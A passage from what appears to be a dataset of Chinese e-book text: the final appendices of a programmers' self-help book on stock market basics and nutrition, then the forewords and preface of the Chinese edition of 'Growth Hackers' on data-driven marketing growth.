maker）。造市商就是在股市里那些始终有意愿买入或者卖出某只股票而创造出流动性的交易者。在大多数股票交易所，每一只股票都有自己的造市商。这些造市商为某只股票设定买入价和卖出价，它们本身则通过买卖差价而获益。\n如果我以19美元每股的价格卖出某只股票，而与此同时你以每股20美元的价格买入相同数量的该股票，则1美元的差价则由造市商收取。你并不与股市里的其他交易者直接交易。相反，每一笔交易都是由设定买入价和卖出价的造市商撮合的，他们的存在保证了股市的流动性。\n如果没有造市商，股市的流动性将会受到影响。如果每个人都试图卖出某只股票而没有人愿意买入该股票，那么你在卖出你所持有的股票时就会发生困难。你要么严重低估你的股票价值以取悦买家，要么等待很长一段时间直到卖家上门。在今天的股票市场上，大多数交易都会在瞬间完成，这要归功于造市商。\nB.3 如何在股市里赚钱\n现在，你可能想知道：如何在股市里真正赚钱？低买高卖，对不对？是的，在基本层面上看它非常简单，但是它可以变得更加复杂。\n大多数股市交易都是基于猜测。投资者得猜测一下一只股票的价格是上涨还是下跌。显而易见，如果你买入的那只股票的价格会上涨，你就会赚到钱；也就是说，如果你在它下跌之前卖掉它，你就可以赚钱。但是，当一只股票下跌的时候你依然可以赚钱，这个过程被称为做空。\n当你做空一只股票的时候，你将“借”该股票的一些股份，然后卖出这些股份。这让你会产生所谓的“空头头寸”。你最终要靠回购这只股票来填补你借入的那些空头头寸。如果你回购股份时的股价更低，低于你做空股票时的价格，那么你就赚钱了[1]。\n你可以以下面这种方式来理解这种机制。让我们假设我借走了你的iPad。然后，假设我以500美元的价格把你的iPad卖掉了（瞧，我是一个多么称职的损友啊）几天后，你问我要回你的iPad，我只得出去再买一部iPad还给你，但是我买的价格是450美元。那么在这次交易过程中，我的净利润是50美元。做空股票的原理与此完全相同。\n你还可以通过持有某只股票赚钱。有些股票会派发红利，也被称作为股息。股息基本上就是公司的额外利润，公司拿出来派发给它的股东作为分红，而不是用于公司的扩大投资。通常情况下，只有大公司才派发股息。\n做空股票的过程\n股息是在股市里赚钱的一种非常安全的方式，但我敢肯定，你能想象得出，股息的回报率通常不高。风险越低，潜在收益就越低。\nB.4 指数、共同基金和交易型开放式指数基金\n在股市里交易股票，这本身很简单，但是投资股市可比仅仅买卖单只个股要复杂得多。你还需要一种方法来衡量股市的整体表现，这样你才能了解股市的走向。\n指数就是挑选一批个股来测量股市整体表现的工具。在美国股市，最广为人知的指数就是道琼斯工业平均指数（Dow Jones Industrial Average），通常简称为道琼斯指数，它是在收集并计算了总部设在美国的30家大型上市公司股价之后得出的指数。收看道琼斯指数之后你就可以得出基本的结论：股市在上涨还是在下跌。\n还有其他许多指数，如标准普尔500指数（S&P 500），它也可以告诉你很多有关市场总体方向方面的信息。有些指标专门针对特定行业的。例如，有的指数专门针对股市里的科技板块，有的指数针对其他板块，这些都有助于度量股市里这些板块的热度。\n事实证明，购买主要股指等效部分的股票是投资股市的一个很好的总体战略，因为随着时间的推移大多数主要股指平均每年都有10%左右的涨幅。但是，遗憾的是，你不能直接购买一项股指。于是共同基金和交易型开放式指数基金（ETF）就应运而生。\n共同基金就是由投资者发起建立、由专业的交易者（通过在股市购买了多只股票）管理的一项特殊的投资渠道。共同基金通常专注于不同的投资策略，但是许多共同基金都会把大量的资金用于购买主要股指的成分个股，以此降低其整体风险。\n共同基金可以让你作为一个资金不多的散户去拥有多元化的投资组合。如果你想要买下一堆不同的个股，以确保你无限接近于股市均值，不受任何一只个股波动的不利影响，会花费你不少钱，但是，共同基金可以让你跟许多其他投资者的钱投入一个资金池，把每个人的有限资金都聚合在一起，使拥有多元化的投资组合成为可能。\n直到1993年，至少在美国，共同基金就是聚集散户有限的资金购买标准普尔 500指数或者道琼斯指数成分股的不二法门。但是，如今交易型开放式指数基金（ETF）也可以让散户获得与参加一项共同基金一样的收益。ETF像指数一样，你可以购买和出售份额。一笔ETF的交易就像证券交易所里任何一只个股的交易一样，基本上它就像一只持有股票和其他资产的投资资金，它尽可能反映特定板块的当前指数。甚至有专门反映黄金市场价格的ETF，所以你可以在股市上交易黄金而不必真实拥有任何金属。\n采取行动\n去网上查询你感兴趣的、公开发售的某只个股的股价。请特别关注它的买入价和卖出价，并确定价差的大小。比较几个不同规模企业的股票，看看你能否从中发现某种趋势。\n[1] 止到2015年10月15日，中国股市并不存在真正严格意义上的“做空机制”。——译者注\n附录C 垃圾进来，垃圾出去：饮食和营养基础知识\n要想保持身体健康、体型优美，你有相当多的事情要做——很多不同类型的体育锻炼，或者一系列的健身课程。但是，没有什么会比饮食对你的健康的影响更大。\n无论你健身的目标是减肥还是增加肌肉，抑或是重塑你的形体以改善健康状态，饮食和营养都是达成目标最有效的工具。饮食和营养就好比写代码——你可以应用各种各样的工具，使用各种各样的方法论，但是如果你不专注于“编写好的代码”，你就永远也不会创建出任何应用程序。\n在本附录中，我们将去浏览饮食和营养的基础知识。我将会给大家简单介绍一下食物的基本组成部分，你也会学到一些关于身体是如何处理其摄入的营养的基础知识。\nC.1 食物的基本组成部分\n在深入健康饮食和合理营养的细节之前，你需要了解食物的基本组成部分有哪些。\n你吃下去的食物可以分为三大类：碳水化合物、脂肪和蛋白质。你的身体会利用各种方法来充分利用这三大类营养，但是你的身体的主要能量来源于碳水化合物。你的大脑和你身体的其余部分会利用一种简单的糖类——葡萄糖作为能量。\n你的身体可以非常有效地把食物分解成葡萄糖以供身体使用。当你吃饭的时候，你的消化系统会把食物分解成葡萄糖，由胃和小肠吸收并将其释放到血液当中。\n在此之后，胰腺会分泌一种被称为胰岛素的激素。胰岛素可以使你的身体充分利用葡萄糖，或者把葡萄糖贮存在你的血液里。你血液当中的胰岛素促使其他细胞吸收葡萄糖，或者立即使用，或者贮存起来以备后用。\n糖尿病患者的问题就在于胰岛素分泌或者胰岛素的敏感性。I型糖尿病患者自身不能产生胰岛素，所以他们必须人工注射胰岛素。II型糖尿病患者的身体对胰岛素不够敏感，所以他们需要更多的胰岛素来完成吸收葡萄糖的工作。\n如果没有胰岛素，你的血糖值会上升得非常高，最终会死亡。这就是糖尿病患者必须要时刻监测他们自身的血糖水平的原因。\n尽管你身体的主要需要是葡萄糖，而葡萄糖又主要来自碳水化合物，但是这并不意味着你的身体不需要蛋白质和脂肪。\n你的身体如何分解食物\n你的身体利用蛋白质来构建和修复肌肉，在进行某些化学反应时也需要蛋白质作为催化剂，蛋白质还有很多其他作用，如必要时补充能量。但是，跟碳水化合物一样，蛋白质也必须被分解。\n蛋白质被人体消化分解成氨基酸，它是生命的基本组成部分，在体内参与很多化学反应。蛋白质也可以转化为葡萄糖，这个过程通常称作“糖异生过程”。这个过程的转化效率并不高，所以当身体将蛋白质作为主要能量来源时它需要消耗掉更多的热量。所以，如果你想减肥，这个过程很有效果。\n脂肪在体内也被分解为脂肪酸，它会被细胞重组为甘油三酸脂的形式以备后用。脂肪也可以被直接转化为能量，它可以被分解为甘油，甘油又可以被转化为葡萄糖。\n脂肪的能量值最高，每克蛋白质或者碳水化合物可以提供约4卡路里的能量，而每克脂肪可以提供约9卡路里的能量。\n由脂肪分解而成的“必需脂肪酸”是你的身体必需的营养素。你可能听说过ω-3和ω-6脂肪酸。它们都是身体必需的营养，但是身体并不能直接产生。这些脂肪酸必须来自摄取的食物。\nC.2 身体所需要的其他营养\n尽管碳水化合物、蛋白质和脂肪构成了我们摄入的食物的主要组成部分，但是你的身体需要更多的营养素，以完成更复杂的功能。\n神身体需要的其他营养素大部分被归类为维生素。维生素是你的身体完成一系列的化学反应所需要的小分子。有迹象表明，有13种人体必需的维生素是人体不能自己产生的，必须从不同的食物来源中获取。\n在大多数情况下，如果你摄取的食物种类足够多，就可以得到足够多的维生素。这就是你每天不能老是吃相同的食物的原因。\n我敢肯定，你一定听说过“坏血病”，这是一种因维生素C缺乏而导致的疾病。维生素C参与生成胶原蛋白，胶原蛋白又是完成身体内多种机能所必需的。通常情况下，水手们很容易得坏血病，因为他们的饮食以腌制肉类和谷物为主，缺乏新鲜水果和蔬菜。\n除了维生素，你的身体还需要纤维来辅助完成消化过程。纤维基本上就是植物性食物中你的身体无法消化和吸收的部分。纤维分为水溶性的和不可水溶性的。顾名思义，水溶性纤维溶于水，它可以帮助降低血液内的胆固醇和血糖，而不可水溶性纤维对于消化系统也是至关重要。\n不要忘了还有矿物质。人体需要多种矿物以维持正常的生理机能，如盐，它可以维持体内细胞正常的体液酸碱度水平。其他矿物质，如钙和铁，都是身体维持正常机能的必需品。\n最后但并非最不重要的是，我们千万不能忘记身体最需要的营养成分——水。水大约占身体重量的60%。水对于身体许多机能至关重要，断水3～5天人就会死亡——我可不建议用这种方法测试水对于身体的重要性哦。\nC.3 所有的一切都源于饮食\n不管你的健身目标是什么，合理膳食都是其中最重要的组成部分。燃烧脂肪、增加肌肉或者进行任何体力活动都完全依赖于你提供给身体的能量，但是遗憾的是，大多数人往往把重点都放在锻炼上，而忽视了营养。\n这是很不幸的，因为就算你可以为了达成健身目标而努力奋斗，如果你没有合理的饮食和正确的营养搭配，所有的努力都将付之东流。我见过很多人可以跑马拉松，但是体重仍然超标，因为他们没有意识到合理膳食搭配对于他们的健康水平和健身目标而言是何等重要。\n你可以在健身房练习举重数个小时，或者一口气长跑上好几公里，但是，如果没有适当的饮食，你永远不会达成自己苦苦寻求的结果。所以，了解你吃下去的食物如何影响你身体的各项性能以及身体获得能量补充的过程，是非常重要的。\n总体而言，热量是身体结构的最重要因素。吃下去的热量比消耗掉的热量高，就会长胖；反之，吃得少就会变瘦。\n不同类型的热量之间的比率可能是第二位重要的因素。脂肪、碳水化合物和蛋白质之间的不同比例会以不同的方式影响你的身体。摄入的蛋白质不足，身体就会分解现有的蛋白质——肌肉，以得到它所需的氨基酸。摄入的碳水化合物过多，特别是糖分过多，身体将不得不付出更多的努力，以产生足够的胰岛素来降低你的血液中血糖的水平。\n最后，食物来源对身体的影响效果是可以测量的。也就是说，不单单是“你吃了什么”很重要，你吃下去的食物来自于哪里也很重要。深度加工的食品往往含有大量的糖分和防腐剂，它们可以降低食物中营养的质量，并导致身体感到不满意而大量进食。并非所有的碳水化合物对身体的作用都是等效的。吃下一块红薯跟吃下一块加工过的白砂糖，尽管两者都是碳水化合物，但是区别巨大。（在附录D中我们将详细讨论这其中的差异。）\n采取行动\n监测一下你在一天之中所摄取的所有食物的卡路里数值，以及你的饮食中蛋白质、碳水化合物和脂肪的占比。上述数值可能每天都不尽相同，所以你要跟踪几天之后再得出结论。\n附录D 如何吃出健康来：比萨并不是一个食物组\n无论你的健身目标是什么，基本上健康的饮食都会帮助你达成目标。但是，定义“什么是健康的饮食”并不像你想的那么简单。事实证明，营养学家对健康饮食的确切定义有着很多不同的意见。\n不久前我们还被告知饮食中的脂肪和胆固醇是有害的，每天早餐吃鸡蛋也被认为是不健康的。但今天我们知道这都不是事实。事实上，过去在健康饮食建议中推荐的高碳水化合物低脂肪的饮食结构，现在也被发现是不正确的。事实证明，很多我们认为不健康的东西实际上是完全没问题的——只要适量。\n本附录的内容并不在于让你深陷于有关健康饮食的辩论、猜测与争论之中无所适从。相反，在本附录里我想给你一些分歧不大的、已经被证明行之有效的如何吃得更健康的建议，以及为什么有的食品被认为是健康的而有的食品被认为是不健康的。\nD.1 在大多数情况下，食品就是食品\n事实证明，我们有点儿过分强调某些食物是否健康。在大多数情况下，我们的身体并不关心它们从哪里得到它们所需的碳水化合物、蛋白质和脂肪，它们只是想要它们所需要的东西。\n我并不是说，从技术上讲有些食物并不会“更有益于”健康，但对于大多数人来说，过于关注某些特定的食物就有一些大惊小怪了。我的意思是，你不必太过较真儿什么食物是健康的、什么食物是不健康的，你应该主要考量常量营养元素摄入的比例以及热量摄入计数。\n常量营养元素基本上就是碳水化合物、脂肪和蛋白质，并且我们已经在第58章讨论了许多关于热量计数的问题。讨论常量营养元素和热量的来源，并不见得比讨论摄入总量更重要。\n我知道，对此你可能深表怀疑——“这似乎太简单了”，但是营养学教授马克·豪布（Mark Haub）用汀奇饼做了一个小实验，有兴趣的话你可以参考（[http:// simpleprogrammer.com/ss-twinkie](http:// simpleprogrammer.com/ss-twinkie)）。在马克的实验中，他用汀奇饼完全取代了一日三餐，每3小时吃一块。他也吃一些其他的所谓“垃圾食品”，如薯片、点心、饼干（特别是奥利奥）。\n但是，马克每天限制自己的饮食热量摄入总量为1 800卡路里。维护他身体机能的热量总数为每天约2 600卡路里，所以他每天的“能量赤字”约800卡路里。\n实验的结果是：尽管他吃的都是“垃圾食品”，但由于他小心地控制自己的摄入热量总数，2个月之后他减了27磅的体重。不仅如此，他的坏胆固醇总量下降了20%，而他的好胆固醇则增加了20%。\n实事求是地说，他确实每天喝一杯蛋白粉，也吃一些蔬菜，但是他三分之二的饮食就是所谓的“垃圾食品”。通过这个实验表明，吃一堆垃圾食品不会对健康造成重大影响，但是摄入食品的总量却是影响健康的最重要因素。而对于健身目标是重塑身体的人——增加肌肉或者甩掉脂肪，保证你摄入的常量营养元素的比例也是同等重要的。\n等等，这不是自相矛盾吗？你刚才不是告诉我，热量总量才是最重要的吗？呵呵，对于想要减肥或者增重的人，的确如此。但是，如果想获得肌肉或者甩掉脂肪，你就不仅需要考虑吃多少，还需要考虑吃什么。\nD.2 我是不是也需要只吃垃圾食品\n也许你会想，你应该遵循刚刚讲到的马克的例子，只吃垃圾食品。我可不推荐这么做，这并不是因为垃圾食品不健康。我不赞成这种做法的主要原因是这么做你真的会忍饥挨饿。\n原因在于：不是所有食物的热量值都是相同的。在通常情况下，高脂肪高糖食物之所以被我们认定是“垃圾食品”、对健康有害，就是因为它们的热量值非常高。如果你吃一点点乳酪蛋糕，你就可以吸收大量的热量，但是，如果你吃了很多西兰花，你也几乎没有吸收多少卡路里的热量。\n所以，讨论哪种食物健康与否，远远不如讨论摄入食物的总量重要。当你食用“不健康食品”只是因为它们的味道更好，它们的卡路里值更高的时候，你会更喜欢消耗更多的卡路里。因为超重是威胁健康的一大问题，远比吃了什么更为关键，所以我们应该把关注的重点更多地放在减肥上——尽一切可能，而不是讨论哪一种食品更健康。\n这意味着，在大多数情况下，“吃的是否健康”还真是取决于你自己。如果你想减肥，那么你就试试每天只摄取1 800卡路里的热量，就像马克那样，你可以每日三餐都吃所谓的“健康食品”，你也可以去澳派客牛排店来上一份澳州芝士煎炸牛排（2 140卡路里总量），这都是你自己的选择。我喜欢吃的东西大多是健康食品，这只是因为我总是不喜欢饥饿的感觉。\nD.3 究竟什么是“健康”食品\n哦，你的意思是你想知道哪些食物不是高热量的。你还希望我能提供一些除了卡路里以外的其他测量营养价值的方式。好吧，我可以帮你。\n就像我之前说的，我们真的没法100%确认哪些食物是健康的而哪些不是，这些都是主观判断。所以我们可以把注意力主要放在热量值上，另外还有一些有关的测量方法。\n考虑到这一点，水果和蔬菜都是健康食品，因为它们的热量值都不高。大多数水果和蔬菜都含有较高的纤维含量，还含有大量的水。请记住，纤维的热量基本上可以忽略不计，因为纤维并不能真正被人体消化。另外，水也不含有任何热量。\n这也表明，一些蔬菜，无论它们的存在形式如何，你的身体都要消耗相当大量的卡路里才能消化，这就是所谓的“热效应”。实际上，蛋白质的热效应值最高，消化一定量的蛋白质需要消耗相当于这些蛋白质热量值的20%〜30%的能量。所以接下来介绍的健康食品就是：蛋白质。\n高蛋白食物的热量值通常都不很高，除非它们的脂肪含量也很高。这就是为什么鸡胸肉（几乎都是蛋白质）通常被认为要比雪花牛排（很好吃但是热量值也相当高）更健康。不管实际的热量值高低，所有的蛋白质都需要身体消耗掉相当多的能量才能被消化，进而转化成有用的热量。\n蛋白质也是构建和维持肌肉的关键。请记住：你的身体需要一定的氨基酸来生产和修复肌肉组织，所以如果你想在减肥的同时又能保持身体内肌肉的总量，在你的饮食中添加大量的蛋白质是个好主意。同样的方法也适用于增加肌肉。如果你的健身目标就是增加肌肉，那么你会发现最成功的饮食结构就是高蛋白食物。\n哪些食品富含蛋白质呢？肉类、蛋类和奶制品，另外一些素食中也含有一定量的蛋白质，如大豆、扁豆、豆腐和非乳制品鲜奶。节食减肥的时候，瘦肉是最好的蛋白质来源，因为它们不会产生太多的热量，鸡胸肉、火鸡肉、鱼、蛋清都是蛋白质的主要来源。\n在我们的营养食品清单上，下一个将是复杂结构的碳水化合物。这些碳水化合物很难被你的身体分解。因为这些碳水化合物通常富含纤维，具有较高的热效应——红薯、糙米和燕麦片都是此中佼佼者。含有加工过的糖的食品都比不上它们，因为单糖很容易被直接吸收到你的血液当中。所以那些种类的食物往往是热量值更高。\n不同的食物热量值也不同\n我们还需要脂肪，有些脂肪被认为是健康的，而有些则不是。可别让我开始研讨这个话题。在很长一段时间里我们一直都被告知饱和脂肪是“邪恶的”，而在2010年美国营养学杂志公布的一项涉及了35万多人的研究表明：没有确凿的证据证明饱和脂肪对心脏疾病或着中风有直接关联关系（http://simpleprogrammer.com/ss-saturated-fat）。\n尽管饱和脂肪可能并不那么糟糕，但是事实证明，不饱和脂肪实际上可以帮助降低坏胆固醇水平，并显著提高甘油三酸脂水平。你可以从鱼类和坚果类食物中找到大量的不饱和脂肪。\n综上所述，什么是“健康”食品呢？一般情况下，未经加工的食品就是最健康的食品，如鸡肉、蔬菜、水果、红薯、糙米、蛋类、燕麦、坚果和鱼。重申一下：这些食物并不一定比其他类型的食品更“健康”，但在一般情况下，你会发现，这些食品的热量值都不高，并且它们提供你的身体所需的基本营养成分。\n采取行动\n查找并对比一下不同食品的卡路里数量，如每份绿色蔬菜（如花椰菜）与加工过的食品（如快餐店售卖的食品，或者你的厨房中的封装食品）卡路里的对比。实际测量一下，你就会了解健康食品与不健康食品在体积比较上的实际差别。你认为在热量值相同的情况下哪种食品更让你有饱胀的感觉？\n下一次你挑选食物的时候，想想你是愿意挑选味道更好但是只能吃一点点的食物，还是愿意挑选不太好吃但是可以大量摄入的食物。\n看完了\n如果您对本书内容有疑问，可发邮件至contact@epubit.com.cn，会有编辑或作译者协助答疑。也可访问异步社区，参与本书讨论。\n如果是有关电子书的建议或问题，请联系专用客服邮箱：ebook@epubit.com.cn。\n在这里可以找到我们：\n微博：@人邮异步社区\nQQ群：368449889"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":22,"cells":{"text":{"kind":"string","value":"推荐序\n 以有限的资源获得最大限度的成长\n迅雷创始人、远望资本创始合伙人 程浩\n作为十几年的创业老兵，我花了两天时间一口气将这本书读完，然后又花了一天时间画了一个脑图。原因是这本书写得非常翔实生动，把我以前朦朦胧胧的“感觉”重新梳理了一遍，终于变为很有条理的知识体系。\n必须说，《增长黑客》是每位奋斗在一线的创业者和企业高管们都该认真研读两遍的实战指南。\n对于如何有效获客、留存用户、让业务爆发增长，书中不仅有体系的方法论，更有翔实的实战技巧。任何希望以有限的营销资源，甚至不想额外花钱就能收获最大限度成长的企业家，本书都不容错过。\n特别在国内资本热衷于炒作热点、项目同质化严重的当下，创业竞争环境要比美国严苛许多。国外往往同一赛道只有两三家企业在竞争，而国内同一时间却能涌现出十几个共享单车、共享充电宝的玩家。这时你再说自己的商业模式有多么巧妙、团队背景有多么豪华都没用。创业者更需要的是一套精细化运营的知识体系，帮助他们从乱战中快速脱颖而出。\n这正是《增长黑客》准备告诉我们的创新方法。预算紧张下依靠巧思去挑战庞然无匹的企业巨头成为可能。脸谱网、优步、Airbnb（爱彼迎）和Pinterest（一个图片分享网站）这些互联网界知名的“独角兽”，正是依靠这一方法论，完成了项目早期的迅猛扩张，进而取得了巨大成功。\n此前，结合迅雷并不平坦的创业经历和十多年企业一线管理的实战经验，我对埃里克·莱斯的《精益创业》做了比较深入的研究，也在自身实战基础上做了全新和丰富的解读，甚至在转型投资人后，多次作为创业营的导师，给国内的创业者们讲过精益创业的课程。\n肖恩·埃利斯和摩根·布朗两位作者呕心撰写的《增长黑客》，可以说正是《精益创业》的姊妹篇。\n因为《精益创业》主要聚焦在如何低成本快速验证需求和解决方案，所以埃里克并没有针对用户增长这块着更多笔墨，毕竟“有需求”是用户增长的前提。但是精益创业显然也不是万能钥匙，特别在国内，随着人口红利和移动互联网流量红利的双双消失，商业环境已完成了从以往粗放式增长到精细化运营的转变，初创企业即使验证了需求和方案，仍然面临如何获客和如何留存的问题。而《增长黑客》主要讲的就是需求验证后，如何获客、如何激活、如何留存，以及如何赚取更多利润的方法。两本书相结合，基本上覆盖了整个创业过程。\n该书详细介绍了增长黑客团队的组成以及运行机制，并拿脸谱网、Yelp（美国最大的点评网站）、优步等大家耳熟能详的公司举了很多例子。增长黑客做过的事情，其实我们过去在互联网创业过程中很多也都亲自实践过，例如怎么做“漏斗模型”、怎么通过分析数据发现问题、怎么优化着陆页面、怎么提高用户付费率、怎么做A/B测试……但这些基本上都属于“项目制”。\n简单讲，就是绝大多数国内公司并没有一个专职负责“增长”的团队，作为资深从业者，我也体会到“项目制”有两个不足之处。\n第一，项目制都是临时性质的，都是针对某个具体问题，该问题解决后项目组就解散了，没有人持续关注用户增长，而用户增长又是一个从不间断的事情。\n第二，每个项目的执行水平和项目经理的经验有直接关系，如果没经验再重视也没用，而国内这种人才又普遍稀缺，所以每个优化都落实得参差不齐，也很难形成积累。\n因此我认为，设立一个专职的增长团队很值得借鉴。当然，在具体执行中，我们也要关注增长团队和各业务部门的潜在冲突。\n对于企业最为关注的如何获客，书中特别着重阐述了病毒式营销。病毒式营销的优点显而易见：高爆发性、成本低，甚至免费。对于社交类产品，例如微信、脸谱网，病毒是最自然的推广方式（大家都记得微信刚注册完，就让你邀请通讯录的好友），这点无须赘言。\n但是非社交类产品怎么做病毒式推广就很有技巧了。文中举例Dropbox（文件储存软件）通过推荐给朋友来获得更大的存储空间，制造病毒式传播，这一点非常巧妙。我也深有体会，当时还把Dropbox推荐给几个朋友使用。与之类比，我想到了微信钱包。理论上，支付类产品是明显的工具（工具需要场景驱动，例如你得想好买什么再去支付），和病毒没什么关系，也没有网络效应。\n事实上，腾讯的财付通确实在微信出现之前一直做得不温不火。这样的工具怎么制造病毒式传播？听起来不容易，但我相信大家对后来的过程其实都很熟悉，那就是微信红包！我印象最深的是一个大年三十晚上，迅雷的同事在群里排好队形让我发红包，躲都躲不了。我不得不开通微信钱包。同样，收到我红包的同事也需要开通微信钱包，才能把红包存到银行里。据我所知，仅一个春节就有近亿用户开通了微信钱包，而且腾讯从头到尾没花一分钱，这就是病毒营销的魅力。\n《增长黑客》整本书读下来酣畅淋漓，把我以前比较零散的知识点做了很好的梳理，而且文中举的例子虽然是国外的，但都是主流应用，相对比较熟悉，这对大家吸收也有帮助。此外，这本书翻译得非常干练流畅，用词严谨。在这里亦对译者张溪梦的辛苦工作表示感谢。\n最后想说，对于身处战火之中，争分夺秒、时间宝贵的每位创业者，理解并施行这本书列举的增长黑客方法，会让你们事半功倍。所以预祝每一位读者在阅读后都有自己的收获，这是一本能够让你在商海中取道捷径的“黑客指南”！\n译序\n 让数据驱动增长\nGrowingIO创始人 & CEO 张溪梦\n“If you are not growing , then you are dying！”（如果企业不在增长，那么就是在衰亡！）一句名言，道出了“增长”这一企业运营永恒的真理。无论是上市企业，还是创业公司，或者是投资机构，都非常看中增长的概念，因为它是衡量一个企业最核心的方向标。\n2010年，肖恩·埃利斯首次提出“增长黑客”的概念。他认为：增长黑客的唯一使命就是增长。他们所做的每一件事都力求给产品带来持续增长的可能性。在硅谷，像领英、脸谱网、Airbnb、Dropbox和Slack（团队沟通交流平台）这样的独角兽企业，早就开始使用增长黑客的方法进行商业实践。它们通过创造性的方法、科学的数据分析工具，可以用极低的费用在短时间内吸引数以百万计的用户，达到数十亿美元的估值。肖恩在十多年前就发现了这个特点，他认为，现代企业必须不断创新，才能实现高效的增长。\n肖恩在美国硅谷被称为“增长黑客之父”，他不但是“增长黑客”理论的奠基人、扶植超过4家企业高速成长的营销和产品顶级专家，也是我在硅谷工作时的一位非常好的朋友。认识肖恩还要从美国高速增长的创业企业Dropbox说起。那是在2010年底，我还在领英位于硅谷山景城的总部工作，带领整个数据分析团队为领英全力推动用数据驱动的增长和变现。有一天晚间，我的一位美国同事和我提到Dropbox的增长团队希望能够和我交流一下如何用数据来驱动变现和增长。在此之前，很多人曾经和我提到过Dropbox这家公司，其用户数量和活跃度在过去几年一直呈现每年接近500% 的爆发式成长，是当时硅谷的明日之星之一。每年5倍以上的成长速度在2009年经济危机之后绝对是一种令人惊叹的成就。最令我着迷的部分还是它的早期增长团队的奠基人肖恩·埃利斯的增长黑客理论框架，特别是这套思维体系令很多企业无论在商业还是在财务上都跳出了当时急功近利的营销怪圈，而是将关注用户体验和价值作为企业增长的目标。这种核心价值观又在技术和产品的推动下令企业增长效率得到了迅速放大，从而在未来令企业达到商业利益的最大化。\n以往传统的营销方式只切入用户生命周期的开始部分，例如品牌、定位以及获客等早期阶段，因此这类营销方法都比较粗放，市场部门把营销预算打包然后逐步外包给第三方的代理来推行计划和落地，但是今天这种粗放的模式在不断受到各种挑战和质疑。今天的数据化运营已经远远超过传统营销所定义的范畴，而且已经超过了普通企业数字营销的概念。例如我们所知道的网站营销、微信营销、搜索引擎营销、社交媒体营销等等，媒体广告等概念已经渐渐变成每一家公司的必备竞争力。今天的营销概念已经悄悄地扩展到产品内部，以及销售和服务等各个部门和领域。\n特别重要的是，今天的数字化运营已经通过核心产品的研发以及用户体验等工作获得更快速的业务成长。特别在用户的留存上，需要提高各个环节的转化效率，同时在各种渠道上进行优化，迅速用数据找到优化的方式，不断进化和迭代。增长黑客的核心理论就是这种有效而且规则的高级协作和运营的体现。因此，未来的数字化运营，将不再单纯以市场营销为核心，而是贯穿整个客户生命周期，通过各个部门间的协作为客户提供一个整体的、持续的最佳体验。\n2017年以来，营销的核心已经开始从广告、搜索、社交媒体和公众评论的世界向专注于客户体验的方向迅速转化。其结果是，企业的营销战略越来越多地确认了产品团队，而不仅仅是营销部门，对客户体验进行有效管理进而促进增长。“增长黑客”就是这个重要转型时期的理论基础。\n我们的团队从硅谷回到中国开展业务以后，在增长黑客这个领域里看到中美之间仍然存在四个巨大的差异：第一，是否对数据的巨大价值有深刻的认知；第二，是否掌握数据驱动的体系和方法；第三，是否运用数据指导各个业务部门的运营；第四，是否善于利用分析工具代替人力。\n帮助中国企业弥补这些差距并且能够在与外来竞争的对抗中胜出，这是我们创立GrowingIO的主要原因。作为一款用户行为数据分析工具，GrowingIO围绕用户展开营销渠道优化、提升转化、提高留存和变现等方面的分析。这不仅对没有那么多时间和资源的创业公司或项目有用，也可以帮助大公司构建企业级数据驱动体系。今天是大数据技术迅速应用于商业进而产生价值的时代，如何很快地用分析产品来实现商业价值，是一个企业必须具备的核心竞争力。\n2016年底，GrowingIO举行了国内首次数据驱动增长大会，我们很荣幸地请到肖恩·埃利斯专程来到北京为参会者做了几场精彩的增长黑客演讲和培训。在题为Growth Hacking Success:Setting and Achieving High Impact Growth Objectives（黑客式成功：设立和实现高影响力目标）的演讲中，肖恩·埃利斯也是突出强调了数据分析和科学试验对于增长黑客的重要性。\n眼下，中国正在经历一个重要的产业升级过程。随着中国人口红利的衰减、互联网流量红利的马太效应显现、用户的时间越来越碎片化、资本投资变得更为理性和务实，未来企业的单位运营成本也会呈现一个线性的，甚至是指数型的增长。这意味着随着成本的大幅度增加，中国企业必须改变过去粗放型的营销和运营方式，特别是在市场营销、产品制造、销售以及未来的客户服务等各个方面向更加科学、高效的方向转变。肖恩·埃利斯的《增长黑客》将为读者带来一个有效的理论和实践框架，希望它能为您的企业带来高速增长！\n前言\n 低成本、高效率的精准营销\n2008年，我（肖恩）接到了在线存储服务公司Dropbox创始人德鲁·休斯顿的电话，他告诉我这个刚刚成立一年的公司面临的困境，这马上激起了我的兴趣。当时，Dropbox的云文件存储与分享服务已经建立起了一个不错的初期粉丝群，尤其受到硅谷技术达人们的青睐。早在Dropbox产品完全开发完成之前，休斯顿就在网上发布了一个视频原型，说明该服务将如何运作，这个视频也为他赢得了著名创业孵化器Y Combinator的支持，吸引了一大批早期用户。\n视频在聚合类资讯网站Digg上发布之后，马上获得疯狂转发，Dropbox试用版的用户人数也转眼之间从5 000人增加到75 000人。很显然，休斯顿找到了一个商机。后来，公开版发布之后，又一批用户注册了Dropbox，也对其提供的服务颇为满意。但是接下来，当休斯顿试图将用户群扩大到技术达人以外的人群时，他却意外碰壁了，而且他面临着巨大的时间压力，因为竞争十分激烈。一家创业公司Mozy就比他早三年起步，另一家公司Carbonite已经获得了4 800万美元的融资，而休斯顿获得的种子资本只有120万美元。与此同时，微软和谷歌这两大超级巨头公司也在进军云储存领域。面对如此强大的竞争对手，Dropbox该如何扩大其用户群？\n休斯顿在电话中告诉我，他们的初期用户很稳定，但是规模还不够大，他希望我能够帮助他们吸引更多用户。当时，我正准备辞去在创业公司Xobni市场副总裁的职位，而这家公司的创始人亚当·史密斯正是休斯顿的好友，于是亚当建议我和休斯顿见个面，讨论一下Dropbox面临的挑战。那时，在硅谷，我已经在帮助企业获得飞速发展方面积累了一定的名气，特别是帮助像Dropbox这样面临激烈竞争却预算有限的公司。我先是成功帮助网络游戏公司Uproar获得增长。当索尼、微软和雅虎都在大举进军游戏行业的时候，Uproar在我的帮助下一跃成为十大游戏网站之一，并且在1999年12月进行IPO（首次公开募股），当时，Uproar已经拥有超过520万名游戏玩家。随后，我又和LogMeIn合作帮助其增长。LogMeIn是由Uproar创始人成立的一家非常具有创新性的服务公司。当时，其主要竞争对手GoToMyPC正在大力进行市场推广。在我的帮助下，LogMeIn一举成为市场领导者。这其中有何秘诀？我和工程师们合作，利用技术达到一个对他们来说不同寻常的目的——通过设计新方法寻找并获得新客户并从客户身上学习，以优化客户定位、扩大客户群并提高营销投入的效益。\n1994年，我刚刚步入职场时对软件工程还一无所知。当时，我的工作是为一家商业杂志销售广告版面。而那时，企业互联网化的浪潮才刚刚开始，但是我看到了互联网行业的前景。因此当我遇见Uproar的创始人时，当即决定拿出我辛苦赚得的一部分销售提成投资到这家公司，并跳槽到这